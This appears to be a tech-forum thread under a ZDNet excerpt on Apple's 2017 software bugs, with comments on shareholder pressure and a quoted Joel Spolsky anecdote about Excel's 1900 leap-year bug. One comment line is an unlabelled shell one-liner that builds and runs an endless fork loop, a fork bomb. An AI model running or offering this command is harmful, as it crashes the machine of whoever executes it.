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Apple Seems To Have Forgotten About the Whole 'It Just Works' Thing (zdnet.com)
Adrian Kingsley-Hughes, writing for ZDNet: "It just works." This is the phrase that Steve Jobs trotted out year after year to describe products or services that he was unveiling. Well, Steve is now long gone, and so it the ethos of "it just works." 2017 was a petty bad year for Apple software quality. Just over the past few weeks we seen both macOS and iOS hit by several high profile bugs. And what's worse is that the fixes that Apple pushed out -- in a rushed manner -- themselves caused problems. A serious -- and very stupid -- root bug was uncovered in macOS. The patch that Apple pushed out for the root bug broke file sharing for some. Updating macOS to 10.13.1 after installing the root patch rolled back the root bug patch. iOS 11 was hit by a date bug that caused devices to crash when an app generated a notification, forcing Apple to prematurely release iOS 11.2. iOS 11.2 contained a HomeKit bug that broke remote access for shared users. And this is just a selection of the bugs that users have had to contend with over the past few weeks. And it's not just been limited to the past few weeks. There's no such thing as perfect code, and sometimes high-profile security vulnerabilities can result in patches being pushed out that are not as well tested as they could be. But on the other hand, Apple isn't some budget hardware maker pushing stuff out on a shoestring and scrabbling for a razor-thin profit margin.
It isn't just bugs, either. A lot of their recent software efforts seem sloppy and confused. Interfaces that were elegant and useful are now cluttered, ugly and non-intuitive, lacking in some highly desirable functionality, yet messed up with unwanted changes from previous versions. When I switched from Windows to Mac in 2010, I did so solely because of their highly desirable software; not because of their overpriced shiny hardware. But now that benefit is waning, and I know several people beside myself who are considering abandoning the Apple ship. They need to get their act together.
Fixed that for you :)
Their target is no longer innovation or excellence, but next quarter's earnings reports.
Honestly I would really like someone to mention a tech company (or any company for that matter) that once they hit Wall Street, they didn't suddenly develop a myopic "What Can We Do This Quarter To Make The Executive Stock Options Fatter?"
Every time I worked for a privately held consulting or software company - it totally rocked. As soon as they went public? It was all downhill from there.
I'm a firm believer that it's the vision of the controlling entity that can make or break it - in the case of Jobs? He was a fastidious tyrant - but people followed him and respected him and made shit that "just works". With him being gone? Where's the rallying entity? It sure isn't Tim Cook or Wall Street.
Never have a philosophy which supports a lack of courage
Tech companies need a strong leader who is detail obsessed. E.g. consider Microsoft back in the Bill Gates days
https://www.joelonsoftware.com...
In those days we used to have these things called BillG reviews. Basically every major important feature got reviewed by Bill Gates. I was told to send a copy of my spec to his office in preparation for the review. It was basically one ream of laser-printed paper.
I rushed to get the spec printed and sent it over to his office.
Later that day, I had some time, so I started working on figuring out if Basic had enough date and time functions to do all the things you could do in Excel.
In most modern programming environments, dates are stored as real numbers. The integer part of the number is the number of days since some agreed-upon date in the past, called the epoch. In Excel, today's date, June 16, 2006, is stored as 38884, counting days where January 1st, 1900 is 1.
I started working through the various date and time functions in Basic and the date and time functions in Excel, trying things out, when I noticed something strange in the Visual Basic documentation: Basic uses December 31, 1899 as the epoch instead of January 1, 1900, but for some reason, today's date was the same in Excel as it was in Basic.
Huh?
I went to find an Excel developer who was old enough to remember why. Ed Fries seemed to know the answer.
"Oh," he told me. "Check out February 28th, 1900."
"It's 59," I said.
"Now try March 1st."
"It's 61!"
"What happened to 60?" Ed asked.
"February 29th. 1900 was a leap year! It's divisible by 4!"
"Good guess, but no cigar," Ed said, and left me wondering for a while.
Oops. I did some research. Years that are divisible by 100 are not leap years, unless they're also divisible by 400.
1900 wasn't a leap year.
"It's a bug in Excel!" I exclaimed.
"Well, not really," said Ed. "We had to do it that way because we need to be able to import Lotus 123 worksheets."
"So, it's a bug in Lotus 123?"
"Yeah, but probably an intentional one. Lotus had to fit in 640K. That's not a lot of memory. If you ignore 1900, you can figure out if a given year is a leap year just by looking to see if the rightmost two bits are zero. That's really fast and easy. The Lotus guys probably figured it didn't matter to be wrong for those two months way in the past. It looks like the Basic guys wanted to be anal about those two months, so they moved the epoch one day back."
"Aargh!" I said, and went off to study why there was a checkbox in the options dialog called 1904 Date System.
The next day was the big BillG review.
June 30, 1992.
In those days, Microsoft was a lot less bureaucratic. Instead of the 11 or 12 layers of management they have today, I reported to Mike Conte who reported to Chris Graham who reported to Pete Higgins, who reported to Mike Maples, who reported to Bill. About 6 layers from top to bottom. We made fun of companies like General Motors with their eight layers of management or whatever it was.
In my BillG review meeting, the whole reporting hierarchy was there, along with their cousins, sisters, and aunts, and a person who came along from my team whose whole job during the meeting was to keep an accurate count of how many times Bill said the F word. The lower the f***-count, the better.
Bill came in.
I thought about how strange it was that he had two legs, two arms, one head, etc., almost exactly like a regular human being.
He had my spec in his hand.
He had my spec in his hand!
He sat down and exchanged witty banter with an executive I did not know that made no sense to me. A few people laughed.
Bill turned to me.
I noticed that there were comments in the margins of my spec. He had read the first page!
He had read the first page of my spec and written little notes in the margin
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is why Dell's quality across the board has improved since they were taken private. They are not under the lash of shareholders demanding stuff the next quarter, otherwise lawsuits are threatened. Dell can do what the hell it wants to. Charge off a ton of earnings for R&D? Perfectly fine.
Apple needs to do the same if it wants to remain a player long term. Otherwise, they may end up suffering a fate similar to Sony with regards to consumer electronics in the early 2000s, especially with companies like Samsung coming out with innovative products on a constant basis.